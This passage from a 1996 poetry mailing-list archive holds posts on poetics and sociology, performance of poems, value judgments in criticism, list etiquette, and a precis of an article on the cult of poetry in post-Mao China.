Dear David, The matter with reading poetry for sociological reasons is the kind of closure it applies to response/interpretation. Of course, if culture=the real, then there's no validity to my objection, but I don't happen to think it is. For you sociology subsumes poetics, for me poetics subsumes sociology. But I agree with you, if there are lots of people on the list who find sociology nauseating and don't say why, then we should get a discussion going. So I've offered two, or is it one? reason. Can we have some more? Does anyone recall the text of the Bruce Nauman piece at the last DOCUMENTA which begins: Anthropology, sociology ....?? Wystan

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227. **Dean Taciuch**
(no subject)
Tue 9 Jul 1996

On Tue, 9 Jul 1996, Kathrine Varnes wrote:

> As far as I'm concerned, a good performance is a good interpretation, or
> at least an interesting one. (The reverse is also true.)
. . .
> what kills poetry for me (which is often what happens when
> actors are reading) is when the reader has already decided what the
> perfect reading is and tries to create it -- some static idea -- instead
> of actively interpreting while reading. Better to be imperfect and lean
> on the words.
>
> Kathrine Varnes
>

OK, but how to offer an interpretation without having an interpretation in mind? This is a serious question..I wonder this myself when reading--do I try to express an ambiguous line break verbally (and how?) or do I collapse the distinction, choose a reading, and present that?

I think the key is "static"--the performance should not be a single thing, or at least not the same single thing to everyone.

Also, I don't mean to knock actors/acting. It certainly is possible for an actor to give a good reading of a poem, just as it is obviously possible for a poet to give a bad reading.

Dean Taciuch

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228. Michelle Roberts
Re: List, person, ship
Tue 9 Jul 1996

As regards Herb's post on "lurker vermin:" Dude, I do seriously hope you were kidding. Your system would require a life lived on line what with the pace of discussion on this list. Some of us "vermin" are sincerely listening, not ripping y'all's posts to use in our papers or poems, not interested in damaging a valuable source of expansion for our our own sad little minds -- and some of us are busy! I regret that you feel that way, but your democracy sounds facsist, a little to Texas Christian Coalition uspurps the REpublican party for me. But thanks for the in-put, we son't mean to bug you.

Meaghan Roberts-Jones Candidate - Humanities-Lit.&Ideas of Texas at Dallas

Our exchanges? An engendering Ph.D. through rare and always The University infinte fortune. [redacted] -- L. Irigaray

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229. Carnography
Re: poetry parfornir
Tue 9 Jul 1996

David Baratier typed:

> *The tension between the academic and the street (or spoken word) poets have created the coffee-house lameness in most cities I've lived in. The problem is two-fold: many academics believe that poetry worth reading is to be institutionalized and therefore works outside of this sphere are improperly crafted or have a lower unit value, while many of the street poets believe that reading other's poems or revising their own are both unecessary aspects of the craft.*

I cite this paragraph baldly because it is breathtakingly apt. This is one of the deepest, most problematic schisms in NYC's poetic mileau. It is also why brilliant autodidacts fall through the cracks--only to be discovered generations later.

Nice one (as the singer in Speedway says).

All the best,

Rob Hardin

http://www.interport.net/~scrypt

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230. Michelle Roberts
Re: herb levy's scum
Tue 9 Jul 1996

(blush) see what happens when the unitiated go blabbing? Excuse me, Herb -- you were kidding. Cool. Very funny, might have enjoyed the post, shucks.

Meaghan Roberts-Jones Candidate - Humanities-Lit.&Ideas of Texas at Dallas

Our exchanges? An engendering Ph.D. through rare and always The University infinte fortune. [redacted] -- L. Irigaray

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231. Carnography
Re: maria--/& performance
Tue 9 Jul 1996

emily writes:

> *I've been*
> *studying race and representation for years, & the more I study, the less*

> *Mostly I got worried & a little nauseated at the*
> *prospect of a predominantly-white-membered list discussing "race & erotics"*
> *esp. in the assertive and "I know what I'm talking about" voice*

I can understand your frustration. But:

The best way to involve more women and people of color in this group is to invite them here, don't you think? Why slam others for being white or male, why transfer the abuse from patriarch to matriarch, why pass racism back and forth, like any dysfunctional family? Let's involve more voices, let's encourage more people to speak. But let's not show disrespect for the voices that have spoken.

I'm not being contentious or smug. What I'm saying is difficult, not easy. It would be easy to agree with you and to rail at the villain I resemble. Yet I can't do that, because the supposition makes me ethically *un*easy.

All the best,

Rob Hardin

http://www.interport.net/~scrypt

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232. **Rod Smith**
Re: amusing and depressing
Wed 10 Jul 1996

J--
Who's in that lesser known NY poets anth. I've heared tell of its existence.
Howe bout a quick contents.

"war is other people"

--rrpfet

↑ Index

233. **wystan**
Re: Orono papers & other authors
Wed 10 Jul 1996

Dear Charles,

Was that a goof-on-purpose, or an honest-to-goodness-goof?

Wystan

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234. **wystan**
Re: List wars
Wed 10 Jul 1996

Dear Dodie, I am sorry Charles is saying those things about you. (said in a personal, feeling, tone of voice) But seriously, Ms. Bellamy despite the fact unlike Mr. Alexander I don't know you at all, your motives seem clear and above board to me.

I observe some kind of comprehensive confusion about 'the personal' developing here. What's to be done?

Wystan.

↑ Index

235. **Thomas Bell**
Re: Listpersonship
Wed 10 Jul 1996

---

can i stay if i promise to close my ears?

tom

↑ Index

236. **Andrew John Miller**
Value Judgments and Sociology (was Re: List wars)
Wed 10 Jul 1996

David Kellog wrote (among many other things):

> From the posts of those critics who are on this list, it seems to
> me that the world (or at least the Net) is filled with people
> yakking about why such-and-such a poet is good, and another is bad.
> The last thing I want or need is another tastemaker. Save that,
> as Foucault might say, for the police. [...] A "pure" poetics
> outside of sociology doesn't exist, and if it did I wouldn't want
> it.
>

David:

I agree with the general tenor of your remarks. Poetic value is contingent and contextual; it is circulated and produced under conditions that are mediated by forces of the sort that we have been taught to describe as social, economic, and/or cultural. I strongly disagree, however, with your contention that an entity called "sociology" forms an essential and necessary part of our understanding of poetry and poetics.

Sociology is an academic discipline, one that has its own rules, traditions, procedures, and sacred texts. Like most academic disciplines, it is marked by a broad array of disagreements over its basic aims and methods; even the question of what does or does not qualify as "social" remains open to considerable debate. Those of us who define ourselves as literary critics and scholars can derive considerable benefit from reading the work of sociologists; we can even, much of the time, make effective use of that work. So long, however, as we continue to define ourselves--institutionally, professionally, and/or personally--as literary critics and scholars, we will be doing something that is not "sociology" in any precise or specific sense. We will find ourselves compelled, moreover, to deal with rules, traditions, procedures, and sacred texts that are profoundly different from those favored by sociologists. Of course, we can attempt to persuade our colleagues to think more like sociologists--an enterprise in which you, among others, have enjoyed at least some degree of success. I believe, however, that it would be a serious mistake to proceed as if sociology somehow provided us with a higher level discourse by means of which we could loftily point out the errors of those (supposedly) primitive and unenlightened colleagues who continue to approach literature in other ways.

While I'm at it, I might as well confess that I see nothing wrong with the production of value judgments, poetic or otherwise, *provided* that those judgments are forthrightly presented as judgments and are not cloaked in the aura of some pseudo-objective theory of poetics, society, history, etc. For me, one of the most helpful things about this list has been the opportunity to hear intelligent and informed people describe their poetic likes and dislikes. I personally feel that, if anything, there has not been enough of this sort of discussion. I greatly appreciate it when friends share with me their value judgments about wines, restaurants, movies, music, and cars. Why should poetry be any different?

--Andrew John Miller
Department of English
Duke University
Durham NC 27701

↑ Index

237. Rod Smith
trolling for newbies
Wed 10 Jul 1996

Ochre
yo
to obtain "exactitude" a

substituted herb splash he
devoted to from childhood atmospherization

I like it vertical
to infinity

Sokal's a landscapism
of the Cubist
overleaf

drop your right ear
in fault tone

imp carnivore
of the mechanical ample in us
by us

analogues

↑ Index

238. Aldon L. Nielsen
Re: in which will be found what is set forth therein
Wed 10 Jul 1996

-- thanks for identifying Ben Friedlander as the author of that wonderful liner about the quickenbing sands of O'Hara's poems -- should have been IDed in my post, but I didn't have a tape of that session!

--Bob, I have an address for Lorenzo somewhere in my apartment -- backchannel me next chance you get & I will try to find it in the meantime --

--Loss -- want some pages on Lorenzo Thomas for that set of author pages? can excerpt from forthcoming book if you want --

--DOOR PRIZE -- I will send a book (NOT by me!) to the first person who identifies the author of these lines:

To a Captious Critic

Dear critic, who my lightness so deplores,
Would I might study to be prince of bores,
Right wisely would I rule that dull estate--
But, sir, I may not, till you abdicate.

--Mangled quote of the week --

I don't have the book with me, but here is an approximation of a poem by Dudley Randall:

Black Poet / White Critic

A critic advised me
to use images that appeal
to the universal,
like a white unicorn.

A white unicorn?

--Hank: whenever you feel you have the time, I'd be interested in hearing more of your take on "American Journal" -- That's a poem I've never been able to enjoy, and I'd like to hear from somebody who has worked with it more than I have -- I talked with Hayden any number of times about the poem, but it seemed a stretch to me -- I always thought it was the occasional poem he felt he had to write as Poetry Consultant -- but I suspect there's more to it than that --

↑ Index

239. **Marjorie Perloff**
Re: List Wars
Wed 10 Jul 1996

Thanks, Hank, for that marvelous posting: I really learned a lot and you really make me want to read more Hayden. Daniel Bouchard asked me a few questions I want to answer. "In our midst" meant literally there at Orono, at the conference. The fact that Lorenzo is black (and also Hispanic as someone else has reminded me) is important insofar as at this particular conference there was much interest (naturally, given the time) in questions of race. More, interestingly, than in gender at this point. So--this being the big topic of discussion and of the argument between Aldon and Bob von H, I just meant that I was surprised no one was even discussing Lorenzo's own poetry or even his talk but was busy determining how to judge Langston Hughes. I said it badly, but anyway... As for David Kellogg's point that Marjorie is assuming that one can separate the wheat from the chaff, an idea David rejects out of hand, I want to say I plead guilty. Absolutely. If criticism doesn't at least in part do that, what are we writing for? Moreover, David, you too separate the wheat from the chaff. Everyone does everyone he/she makes a choice as to what to read, what to teach, what to write about. Right now I'm rereading MAN WITHOUT QUALITIES, for me one of the great novels-ever. It's very long. In the amount of time it takes to read Musil, I could read all of Robert Hayden or, for that matter, Robert Frost, to whom Hank compares Hayden. So whom to pick? David, don't you think some critical methodologies are better than others? Isn't that separating the wheat from the chaff? Why don't you base your critical writing on F. R. Leavis? Or on Arthur Quiller-Couch? Don't you believe certain articles you read in scholarly journals are better than others? Why, then, can't we, heaven forbid, think some poets are better than ours? Why is there so much

discussion of O'Hara (or Baraka) on this list and so little of Mark Strand? No value judgements involved?

The question, I think, is not whether or not we make value judgments--because all of us do--but what we do with them? I agree with the people who wrote in "What's wrong with sociological criteria?" Nothing at all, as long as you know they're your criteria. But since no one can read everything, we all make choices. So I was amused when Hank said Robert Hayden was good in the way Robert Frost is good. In all my years of teaching modern poetry, I've never yet taught Robert Frost. If I have 10 weeks (a quarter at Stanford) or even 15 (a semester), there are just poets I'd rather be teaching and I figure Frost gets taught enough anyway. That doesn't mean my criteria should be yours. But I'm just trying to say that if someone is going to convince me that X is worth a lot of discussion, I want to know why. Aldon, who's a good friend, has gone a long way in alerting me to African-American poets he feels are especially interesting and he makes a case for those poets--but not just for any poet who happens to be black. In fact, he's down on quite a few of the above. Wheat from the chaff, why not??? No hard and fast binary divisions of course. But how do you make actual practical choices??

Marjorie Perloff

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240. Tom Malone
A Closer Reading
Wed 10 Jul 1996

Date: Tue, 9 Jul 1996 08:42:13 -0700
NOT FROM: Herb Levy <[redacted]>
Subject: List, person, ship

Mr Silliman's proposal does not adequately address the pernicious issue of the Academic slime on this e-mail list.

Requiring a single, coherent post once per month from each Academic list member would likely result in cutesy, off-topic messages about the Von H. Affair or other irrelevant "me-too" posts ("I'm delivering a paper on The Canon vs. More of the Same." "No way! Me too!!") in ongoing threads. As not enough people have noted, this will result in too much Academic traffic, further allowing the vampiric Academics in our midst to stay on for another month of reading the collected wisdom of others.

To actively combat these Academic vermin, we must NOT require full participation by all list members in every current thread. After all, is it really too much

to ask that Academic members refrain from participating in the activities of the group.

To achieve the goal of total Non-Academic participation, we would have to move quickly toward the more reasonable requirement that all Academic members respond within one hour to each post to the list (including their own) with a closely reasoned 250-500 word statement outlining the many ways univerities perpetuate socio-economic distinctions of class. To make it easier to follow the incoherent discourse that would likely result under this new system, each Academic member would also have to provide a shorter abstract of their denials.

This simple change in policy would most certainly cut down on the number of Academic scum on poetics list and we would soon arrive at the kind of total and immediate Revolution that one usually sees in only a few of the more progressive-thinking Usenet newsgroups.

Tom Malone
[redacted]

As an aside: At the very least it is a misguided notion to say the poetics list is private. ANYONE can (and do) read, download, and forward posts from the p-list archive at the Poetics Website.

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241. Daniel Salmon
Re: List, person, ship
Wed 10 Jul 1996

---

1 2 3 4 5 6 7 8 9 10 11 12 13a 13b 13c 14 15

At 08:42 AM 9/07/96 -0700, you wrote:

>To start with, we could allow brief (less than a hundred words) responses
>to be made within forty-eight hours of the intiation of any new topic.
>
>However, to achieve the goal of total active participation, we would have
>to move quickly toward the more reasonable requirement that all list
>members respond within one hour to each post to the list (including their
>own) with a closely reasoned 250-500 word statement. To make it easier to
>follow the advanced discourse that would likely result under this new
>system, each list member would also have to provide a shorter abstract of
>their arguments.
>
>This simple change in policy would most certainly cut down on the number of
>non-participating lurker scum on poetics list and we would soon arrive at
>the kind of total and immediate participatory democracy that one usually

>sees in only a few of the more progressive-thinking Usenet newsgroups.
>
>
>Herb Levy
>[redacted]
>
>
Daniel Salmon

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242. Schuchat
Cult of poetry in China
Wed 10 Jul 1996

---------- Forwarded message --------

Since Ron asks, here follows some precis and quotes from the Michelle Yeh article in THE JOURNAL OF ASIAN STUDIES which I had mentioned in an earlier post. My apologies for the length of this post, (its hard to do justice to a 30 page essay in an email) and also for my numerous typos, spelling errors and transcription errors. I hope it is of interest.

The article deals with the "avant garde/experimental" poetry scene in post-Mao China, which is unofficial though not necessarily "illegal."

"By 'cult of poetry' I am referring to the phenonemon and the concomitant discourse in the 1980s and 1990s that bestows poetry with religious significance and cultivates the image of the poet as the high priest of poetry. The word cult has no exact equivalent in Chinese and is used here as an approximate tanslation for 'worship' or chongbai with strong religious connotations. The 'cult of poetry' thus denotes a religious poetics that is based on the worship of poetry and that inspires a religious-like devotion among poets."

The late 80s/90s generation of experimental Chinese poets, according to Yeh, are alienated both from the traditional Communist orthodoxy and also from the rising commodity/westernizing/pop culture environment around them. Both of these options do not particularly value the poet or poetry:

"Most of the avant-garde poets who choose to continue to write, however, tend to be in the lower echelon of the current economic structure, holding low-paying state-assigned jobs or no jobs at all."

A quote from poem by Zhou Lunyou, "A cofounder and editor of the long-running Sichuan-based poetry journal Feifei, Zhou spent seven months in a prison in Xichang before he wassentenced to three years in a labor reform camp on Mount Emei for "counter-revolutionary incitement":

To prove through my writing: to be alive is important
What is food? What is Sarte?
The blows of commodities are more gentle, more direct than violence,
More cruel too, pushing the spirit toward total collapse."

"The image of the poet as someone who chooses a lfe of wandering and poverty in order to follow the sacred calling of art, who rejects the dehumanizing system and vulgar society with courage and defiance, finds a vivid expression in the folllwong description of the poet Hei Dachun (b. 1960). Nicknamed "the Drunkard of Yuanmingyuan," Hei is a central figure in a group of poets, artists and rock-and-roll singers who live a bohemian life near the ruins of the leisure palace from China's last dynasty: 'Much of his food and clothes are gifts from his friends. Seeing his religious spirit of dedication, his friends feel that they should do something for art. The worship of art and the eternal need of humans for art makes him believe firmly in the art of poetry which he engages in. He will not waste his energy and life on things he dislikes just in order to lead a normal life; therefore, he does not work, does not bow to the leadership, does not sell his life which belongs to art. He'd rather drift about, embrace death.'"

Yeh discusses several highly-publicized suicides among avant garde Chinese poets, including Gu Cheng, who hung himself after murdering his wife. She notes that "many reminiscenes and memorial essaysd that appeared after the tragedy held a rather understanding, if not forgiving, attitude toward Gu. Referring almost always to his precious poetic talent and occassionally also to his previous attempts at suicide...they tend to see in his a romantic genius beyond the laws of this world, who consequently perhaps should not be judged in accordance with the "normal" criteria of right and wrong."

Discussing the current Chinese avant gardes self-admitted forebears, after several Chinese poets including the early 20th century modernist Zhu Xiang, the pre-Han Qu Yuan and Tang dynasty's Li Bai (Li Po), she notes that "some of the most frequently mentioned names in the poetry and prose discussions are" Holderin, Rilke, Borges, Tsvetayeya, Mandelstam, Rimbaud, Plath, Pasternak, Brodsky, Celan, Keats, Shelley and Dante.....what the majority of the poets on the above list have in common is personal tragedy."

"Perhaps a ready-made explanation for the 'cult of poetry' is this: it is a response of poets to the spiritual vacumn in the wake of the Cultural Revolution in the post-Mao era. In view of the destruction of traditional Chinese values and mores, coupled with the widespread disaffection amontg the intellectuals with the Communist party in the post-Mao era, it is understandable how poets seek to redefine themselves beyond the pale of official ideology. The "cult of

poetry' represents a search for an alternative value system, a new identity of the self in contradistinction from, and in defiance of, that dictated by the Party."

"When the poet is held as more important than the poetry, death -- especially self-imposed death--becomes the ultimate poem, the poem to end all poems."

"Whatis porobably most problematic about the overwhelming interest in the poet rather than the poetry is its ambivalent relation to the mentality underlying the culture of an earlier era -- the personality cult of Mao. ...The deification of poetry and the canonization of the poet reveal an absolutist, Utopian frame of mind that at least implicitly excludes other approaches to poetry both in theory and practice. Are alienation and the sense of crisis the necessary driving force behind the creation of poetry? Why is the poetry that emphasizes suffering and sacrifice regarded nobler or better than the poetry that does not? Why does the poet have to be perceived in heroic terms?"

"Throughout the dsicussion thus far I have used male personal pronouns whenever I refer to Chinese avant-garde poets as a group. Rather than committing a sexist oversight, I mean to make a point about another significant aspect of the discourse of the "cult" ....few women poets can be found actively participating or involved in the discourse [ofthe cult of poetry]. It is true that a number of women poets have achieved a national, even international reputation in post-Mao China, most notably Shu Ting and Wang Xiaoni in the early 1980s and Zhai Yongming and Lu Yimin since the mid-1980s. However, none of them have played a significant role in the discourse of the cult..."

"In the final analysis, the ;cult of poetry' in post-mao China is a paradox. It advocates creative freedom and individuality, however, in elevating poetry to the status of a supreme religion, it imposes arbitrary limits on poetry. It defies the official ideology, yet is unable to escape entirely the absolutist, Utopian mentality in its worship of the poet and deification of poetry. It resists and detests consumerism, yet it is by no means immune from itself becoming a commodity. When it is perceived by the outside world as "dissent literature" in a totalitarian regime, Chinese avant-garde poetry can easily be turned -- or some may say, has already been turned -- into a commodity in the international (especially Western) cultural market. These contradictions and pitfalls--artistic, ideological and economic--point to the intrinsic limitations of the "cult of poetry," and we can already see "anti-cult" reactions coming from various perspectives in recent years..."

**** again, my apologies for lacunae etc. It is not easy to do justice to a 30 page essay in this post, especially one that presupposes some knowledge of recent Chinese history and literature. Anyway, I hope the above quotes are interesting, and of course, following up with the article itself from the Journalof Asian STudies will give a better sense than my excerpts.

Ta ta

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243. **henry gould**
Re: Onward: Contemporary Poetry & Poetics
Wed 10 Jul 1996

On Tue, 9 Jul 1996 14:07:31 -0400 Rod Smith said:
>This is the Contents and Introduction for the forthcoming anthology _Onward:
>Contemporary Poetry and Poetics_ ed. Peter Baker, Peter Lang Pub., $28 pb,
>440 pgs. due out Sept '96. Peter is off line traveling and asked me to send
>it to the listwar. "The Rejection of Closure" is a revised and extended
>version.

Peter Baker's preview of the new anthology is interesting - is it just me, or is there really a kind of response in his intro to some list discussions (am I being too "immanentist"?). PB draws up a new genealogy specifically contrasting Pound (the immanentist) with Zukofsky (the nominalist) and lining up contemporary & language poets with Zukofsky. This is not really new but it seems to take things from both the dreaded Blasing discussion from months back & the Peirce harangue from weeks back, & turn them on their heads. (Ie. the language poets, contra Blasing's pantheon, are the true purveyors of the split between assumed reality & the word - in terms of Scholasticism!) Here's what sounds familiar to me:

> *Belief in an implicit poetics can be seen to derive from an immanentist theory of language, or the idea that words bear direct relation to what they represent, even carrying a little bit of the essence of the thing in the word. Such immanentist theories deriving from the religious tradition ("and the word was with God and the word was God") drove William of Occam, in the twelfth century, to propose the complete separation of word and referent, in his philosophy of nominalism. Jacques Derrida is often thought to represent such a nominalist viewpoint in his philosophy of deconstruction (see my Deconstruction and the Ethical Turn). Ezra Pound's language theory is explicitly immanentist, as when he instructs his Italian translator of The Cantos: "Don't worry about the meaning of the poem. Translate accurately line by line. The meaning is inherent in the material." Pound's poetics in The Cantos thus demonstrates what I call (in Obdurate Brilliance) the "myth of transparency," or the ideology of direct apprehension of the surrounding context from the text of the poem. Without worrying too much (right now)*

I don't see how the concluding few sentences above follow logically. Pound's saying the meaning is inherent in the material certainly does not "demonstrate" a belief in language's transparency, though I'd grant that Pound certainly did have a kind of idealist-realist faith in the access of poetry to the real. Pound's statement above, though, that the meaning is inherent in the material, would

hold as true for Objectivism as for high modernism. The differences, real or imagined, between the poetics of Pound and those of the anthologized poets perhaps hinge less on their approaches to language than on the status of meaning & belief. Language, as I see it, though changing and evolving, is something of a constant in comparison with the astonishing pressures of ideology, history & the zeitgeist on culture's idea of what is artistically necessary or important. These pressures, of course, influence trends in the philosophy of language (exhibited clearly both in the Scholastics and in the above intro), but poetry operates, hopefully, by digging toward the permanent functions of language, which persist THROUGH the "zeitgeist". - Henry Gould

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244. Loss Glazier
Re: Private List/Public Space
Wed 10 Jul 1996

Burt, Yes, true. But some of the great literary archives consist of just these sorts of notes (and letters) that some kind soul just happened to save... Loss

At 05:54 PM 7/9/96 EST, you wrote:
>Loss,
>
>yes, but how often do one's notes tacked onto a bulletin board get
>taken down and shipped off to some archive; archiving (electronic or
>otherwise) seems to legitimize the mere missives, no? And then they
>get quoted perhaps, and so on.
>
>Burt
>
>

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245. Loss Glazier
Re: Orono papers & other authors
Wed 10 Jul 1996

At 03:02 PM 7/9/96 -0500, you wrote:
>loss --if our papers are being published somewhere, what are the
print-copyright
>politics of sending them also to you; wd it be seen as undercutting the
>print-publisher's market? i don't wanna do anything "wrong."--md

Maria, If a piece will be published in print, it's courteous to ask the publisher if it's ok if it's also available online. Some publishers are barbaric enough

to think of online space as a threat. (Of course, if the online paper is a different version somehow, it makes it less of a threat!)* If the publishers says no then maybe they'd let the piece go online say six months after serial publication in print (tho not as timely, this might also work). I know people have valid reasons to prefer print publication, but if making the ideas public is what writing is about, there are few (maybe no?) journals that can circulate so widely. I know from handling the mail here that these pieces are getting read. (Also the statistics reinforce this.) (Studies I've seen actually show that online versions actually help sales of print publications.) But I think also of pedagogical uses. How many libraries don't have subscriptions to most magazines I adore - and will students or others be willing to use ILL (interlibrary loan) if it is even available via ILL, etc. etc. I have people request permission to use EPC materials for courses and I always say OK enthusiastically! But I do of course understand that sometimes people just can't make their work available. Best, Loss ---------- *In this case you might think of how your paper would be without certain constraints. It can be longer. With some knowlege of html, you can have color graphics/ illustrations, etc.)

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246. **Michael Coffey**

Re: Irby Matters -Reply

Wed 10 Jul 1996

More on the availability of Ken Irby's work; last week Ron Silliman enthusiastically parsed a section for Irby's Orexis, listfolk may recall.

Kenneth Irby, CALL STEPS: PLAINS, CAMPS, STATIONS,
CONSISTORIES, 154 pgs,
$12.95, ISBN 0-88268-090-0, Station Hill Press, in association with
Tansy
Press, Distributed to the trade by The Talman Company, but available
from
Small Press Distribution and other wholesalers. Direct from Station Hill,
Barrytown, NY 12507, $3.00 shipping & handling. (This volume contains
all of the long-poem Orexis)

OREXIS is still available for $10, ISBN 0-9930794-17-6. Same as above (minus the Tansy association).

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247. Gwyn McVay
Re: Orono papers & other authors
Wed 10 Jul 1996

Related to which--

The National Museum of Women in the Arts is currently devoting a whole floor to an exhibit of 20th-century women artists, including Theresa Hak Kyung Cha, whose "Passages/Paysages" is installed, and a new column/yarn setup by Cecilia Vicu~na that is deeply moving to look at. The catalogue, pleasantly enough, is well-researched, highly informative, and chocked with bibliographical refs, so if you're going to be in DC, hit 12th and New York, and go there, and see the concurrent artists' books exhibit there too.

Gwyn

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248. Nada Gordon
poetry performance
Wed 10 Jul 1996

Since readings are embodied voicings,
I'm happy to see readers who remember their bodies
instead of keeping most of their *ki* upwards of their necks

I also like to notice eye contact and verbal contact with the audience, comprehension (grokking?) checking even a page poem can live without a gloss but a read poem doesn't need to

When I read here it's true I have to rely on all kinds of gimmicks -- the only real venue is a faux-British pub of mostly non-poets -- but I find if I crawl on the floor, sing acappella and gaze into people's eyes I can read the subtle stuff once I get the audience's attention

It's a far cry from the well-lit gallery spaces of my salad days, full of folding chairs and captive fellow-writers, yet there's a feeling of challenge here, albeit hoop-jumping

Tokyo is having a typhoon now after three days of solid rain. And how are you?

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249. Nada Gordon
Re: Listpersonship
Wed 10 Jul 1996

'twas the voice of the flea, I heard it declare. . .

While it may be
true I
use this
list as a
kind of highbrow
entertainment,
it keeps
me away
from the quiz shows and
samurai
dramas

--nada

↑ Index

250. **maria damon**
Re: List wars
Wed 10 Jul 1996

---

db rites: I think I, at least, should move on to
> new topics. If *I'm* getting tired of this one, I can only imagine what
> the poor lurkers are going through.
>

hear hear.
md

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251. **Joe Amato**
Re: the guy and the gulf war
Wed 10 Jul 1996

---

e, yr point about victimhood well-taken... it can be an aesthetic dilemma if one is simply exhibiting pain... how to get around, or better, through this?...

for one, i think what's necessary, and this pace dodie's hammering on the white middleclass, is to pull apart some of these categories we rely on... already there's humor on this list to suggest intervention in the seeming rift between academic/non-academic... there may be more overlap here than is customarily (publicly) allowed (in fact i'm sure there is)... and though half the income-earners in this country are below $21k, you're called "middleclass" at $30k, and you're called "middleclass" at $70k... you're called middleclass if you own a four bedroom house, and you're called middleclass if you rent a one bedroom

apartment... you're called middleclass if you're going to inherit property, and you're called middleclass if you have no inheritance...

lotsa room here to debate about what "middleclass" means... one thing it does not mean is that there's no grief or urgency or despair in this so-defined group... class is shifty, b/c one can shift in and out of different class structures... but speaking personally, my memories remain intact, thank you... in any case, the point would be not to negate or trivialize experience w/o first (somehow) coming to terms with what that experience is... i can feel more for the poverty-stricken than for the wealthy, sure, but this at the level of economic circumstance... and b/c of who i am i might relate a lot more to the former (and sometimes err accordingly)... but as an artist/poet, part of what i'm about is not mistaking the truth of my experience for the truth of my art (however i construe both sorts of truth)...

i wouldn't want, for example, to fall into that (current) marxist trap of arguing against any discourse that isn't specifically needs-based, on the grounds that non-needs-based discourse (if we could identify such a beast) does not address global-economic realities or some such (and regarding which rob wilson's cherub is a downright illuminating construction)... also, i'm reminded of a line from a zappa tune, where he sez something like "yknow something people? i'm not black but there's a whole lotta times i wish i weren't white, either"... yeah, 'sixties liberal white guy,' but at least i hear in this an inkling of an attempt (in a pop-cultural space) to confront one's own advantage (if not quite privilege)---social/ontological issues relating to skin color---from the inside... it's important to examine racial discourse from the point of view of the other, but i'll still hold to the value of addressing, each of us, our own position and status in our institutional systems---and yeah, as a matter of fact, our own complicity, without getting whiny about it... and i don't find that it helps much to constantly defer to real anguish on another part of the planet (though i'm all for recognizing real anguish on other parts of the planet)...

there's always enough grief to go around... mebbe, to create meaningful art that attends to our grief, mebbe we need to attend to the ways we tend to categorize social experience???...

best,

joe

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252. Burt Kimmelman
Re: Onward: Contemporary Poetry & Poetics
Wed 10 Jul 1996

William of Ockham in the 12th century!?! Not by a long shot. COMPLETE separation of word and object--hardly, and anyway this is a terrible over-simplification, and I suspect this kind of sloppiness informs the the Pound-Zuk split. Anyway, this is a big discussion and as many of us know a long ongoing one, i guess. I do like what I see when I read about "the status of meaning and belief" and, yes, NOW one can return to Ockham for some help.

Pardon this perhaps non-sequiturial and willy-nilly grouchiness.

Burt

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253. maria damon
Re: List wars
Wed 10 Jul 1996

In message <v01520d00ae07ff2f56d8@[205.134.228.78]> UB Poetics discussion group
writes:
> Maria, you criticized a population I was a member of--the people on this
> list. I was defending that population.
>
> Dodie

It was not my intention to criticize a population of which i've been a very happy, active part. I'm sorry for any distress I might have caused you or any other individuals who felt as you did. in my view, inspired by rob wilson's "covering cherub" posts (sorry if i'm quoting you out of context, rob, but this is what i got from it), i made some observations about what seemed to me the difficulty of discussing certain issues --primarily race -- on the list, and as emily helped me to see, this is a difficult medium for volatile topics, in part because the possibilities of misunderstanding are so high, as the recent herb-levy-lurker flurry instanciated. i most emphatically was not, as others have also pointed out, setting out to be an arbiter of pc-ness or list content. i was not invoking any "shoulds," nor do i see myself as any kind of "expert" on the topics i was calling attention to. this is the only list i'm on, and perhaps it's unrealistic to think it can address all my intellectual community needs; on the other hand, my larger project has to do precisely with bringing cultural studies and poetry/poetics to bear on each other, and i'd like to feel that i can explore this perspective on this

list, rather than having to compartmentalize (as the academy does) my intellectual life. md

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254. Shaunanne Tangney
Re: Cult of poetry in China
Wed 10 Jul 1996

---

m/m schuchat--

i seem to have missed your earlier post--could you please send me the issue/date of the journal of aisan studies to which you refer in yr post?
i am v. interested in chinese poetry--
thanks,
shaunanne

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255. Marjorie Perloff
Re: Lorenzo Thomas
Wed 10 Jul 1996

I owe Bob Harrison an apology. He's the one who alerted the list to the fact that Thomas is Hispanic (Panamian-American) as well as black. I referred to Harrison as "someone"--inexcusable but it happens sometimes when the list gets as long as it got last night and when it comes as a listserv and when it's midnight...

But herewith apologies to Bob!

Marjorie

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256. Rod Smith
Re: Onward: Contemporary Poetry & Poetics
Wed 10 Jul 1996

HG wrote:
>but poetry operates, hopefully, by digging toward the permanent
>functions of language, which persist THROUGH the "zeitgeist".

Henry, what does this mean? I see raising questions re Peter's distinctions, but this seems even less explanatory-- a kind of social-constructivist mysticism. "Permanent functions of language"? What are we talking some kinda deep structure metaphor? Seems we don't have a handle on these issues, which leads many toward religiosity & others toward skepticism. I tend to prefer eastern

ideas, which, I think, rest in an acceptance of immanent transparencies-- to torque the classification a bit. Rather than talking about Pound/Zuk perhaps Peter should have talked about Pound/Wittgenstein.

The "meaning & belief" question reminds me of Carla Harryman's "Both belief and denial throw existence into question." Perhaps the "schism," if there is one, is at the level of practice-- between those that are self-reflexive (Wittgenstein) & those that aren't. One cld talk about Olson's "from where the poet got it over to the audience" (sic)-- someone taking what I would call an eastern or Wittgensteinian approach wldn't trust that sort of formulation, however many APR folks seem to see meaning operating in just that way, i.e. as a package to be delivered.

Rod

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257. Henry Gould

Re: Onward: Contemporary Poetry & Poetics

Wed 10 Jul 1996

On Wed, 10 Jul 1996 12:40:30 -0400 Rod Smith said:
>HG wrote:
>>but poetry operates, hopefully, by digging toward the permanent
>>functions of language, which persist THROUGH the "zeitgeist".
>
>Henry, what does this mean? I see raising questions re Peter's distinctions,
>but this seems even less explanatory-- a kind of social-constructivist
>mysticism.

If it's mysticism, it's a kind of aesthetic idol-worship. It's a fascination from a proto-Acmeist carpenter's perspective. What makes something built to last? Why do some artworks still grip us while others seem hackneyed by timebound blinders? It's language talking through the obsessions and neuroses & sleepwalking and timeserving of an era - not denying it, but mastering it & throwing light on it - and in the process gripping us with real experience, on the scent of truth.
>
>The "meaning & belief" question reminds me of Carla Harryman's "Both belief
>and denial throw existence into question." Perhaps the "schism," if there is
>one, is at the level of practice-- between those that are self-reflexive
>(Wittgenstein) & those that aren't. One cld talk about Olson's "from where
>the poet got it over to the audience" (sic)-- someone taking what I would
>call an eastern or Wittgensteinian approach wldn't trust that sort of

>formulation, however many APR folks seem to see meaning operating in just
>that way, i.e. as a package to be delivered.

